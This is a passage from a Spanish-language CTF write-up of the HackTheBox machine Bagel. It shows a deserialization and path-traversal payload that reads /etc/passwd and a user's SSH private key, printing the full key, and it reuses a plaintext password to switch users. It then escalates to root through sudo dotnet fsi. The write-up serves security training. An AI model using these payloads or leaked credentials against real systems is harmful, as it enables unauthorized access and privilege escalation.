9 "ReadFile": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\ntss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin\nsystemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin\nsystemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin\nsystemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin\npolkitd:x:998:997:User for polkitd:/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsetroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin\ncockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin\ncockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin\nchrony:x:994:992::/var/lib/chrony:/sbin/nologin\ndnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nsystemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin\nsystemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin\ndeveloper:x:1000:1000::/home/developer:/bin/bash\nphil:x:1001:1001::/home/phil:/bin/bash\n_laurel:x:987:987::/var/log/laurel:/bin/false",
10 "WriteFile": null
11 },
12 "WriteOrder": null,
13 "ReadOrder": null
14}
Ahora bien, ya teníamos un LFI anteriormente, pero quizás el servidor de WebSocket no lo está ejecutando developer
si no phil
, así que vamos a intentar leer su clave privada.
Modificamos el payload.
1{
2 "RemoveOrder": {
3 "$type": "bagel_server.File, bagel",
4 "ReadFile": "../../../../../../../../home/phil/.ssh/id_rsa"
5 }
6}
Y podemos leer su clave privada, así que ya solo falta darla formato, permisos e iniciar sesión por SSH como phil
1python3 exploit.py
2[*] Enviando payload malicioso...
3[*] Respuesta del servidor: {
4 "UserId": 0,
5 "Session": "Unauthorized",
6 "Time": "6:12:40",
7 "RemoveOrder": {
8 "$type": "bagel_server.File, bagel",
9 "ReadFile": "-----BEGIN OPENSSH PRIVATE KEY-----\n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\nnrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=\n-----END OPENSSH PRIVATE KEY-----",
10 "WriteFile": null
11 },
12 "WriteOrder": null,
13 "ReadOrder": null
14}
Para darla formato simplemente hay que reemplazar la secuencia \n
por saltos de línea reales, para ello podemos utilizar sed
(por ejemplo).
1echo "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n..." | sed 's/\\n/\n/g' > id_rsa.phil
Podemos comprobar que ya tenemos la clave formateada.
Ahora simplemente le damos los permisos necesarios.
1chmod 600 id_rsa.phil
Y ya podemos iniciar sesión como phil
1ssh phil@bagel.htb -i id_rsa.phil
2Last login: Tue Feb 14 11:47:33 2023 from 10.10.14.19
3[phil@bagel ~]$ id
4uid=1001(phil) gid=1001(phil) groups=1001(phil) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Podemos leer la flag de usuario.
1[phil@bagel ~]$ cat user.txt
2d71c8c414532a4...
User Pivoting
Al parecer poco puedo hacer como phil
, pero recordemos que antes hemos visto una contraseña de acceso a base de datos, cuyo usuario se llamaba dev
y recordemos que existe un usuario a nivel de sistema llamado developer
, así que podemos utilizar el combo:
1developer:k8wdAYYKyhnjg3K
Y así migrar de usuario.
1[phil@bagel ~]$ su developer
2Password:
3[developer@bagel phil]$ id
4uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Privilege Escalation
Abusing dotnet
interactive F#
console
Vemos que developer
puede ejecutar como root
y sin introducir contraseña el binario dotnet
, esto es una cagada enorme ya que podríamos crearnos un aplicación maliciosa .NET para ejecutar un comando a nivel de sistema.
1[developer@bagel phil]$ sudo -l
2Matching Defaults entries for developer on bagel:
3 !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
4 LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
5 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
6
7User developer may run the following commands on bagel:
8 (root) NOPASSWD: /usr/bin/dotnet
O simplemente podemos revisar GTFOBins y vemos que hay un método para escalar privilegios.
dotnet fsi
System.Diagnostics.Process.Start("/bin/sh").WaitForExit();;
Se utiliza el comando fsi
, que es para iniciar una consola interactiva de F#
.
1[developer@bagel phil]$ sudo dotnet fsi
2
3Microsoft (R) F# Interactive version 12.0.0.0 for F# 6.0
4Copyright (c) Microsoft Corporation. All Rights Reserved.
5
6For help type #help;;
7
8>
Ahora hacemos uso del método System.Diagnostics.Process.Start
para iniciar una bash y como estamos ejecutando dotnet
como root
, iniciaremos una consola como este usuario.
1> System.Diagnostics.Process.Start("/bin/bash").WaitForExit();;
2[root@bagel phil]# id
3uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Podemos leer la flag de root
1[root@bagel ~]# cat root.txt
24e820d511b8f6b06...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Bagel #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Directory Path Traversal #Local File Inclusion #Analyzing Python Source Code #Brute-Forcing PID's Cmdline #Decompiling .NET Dll W/DotPeek #Analyzing .NET Source Code #Information Disclosure #Insecure JSON Deserialization #Credentials Reuse #User Pivoting #Sudo Dotnet Permission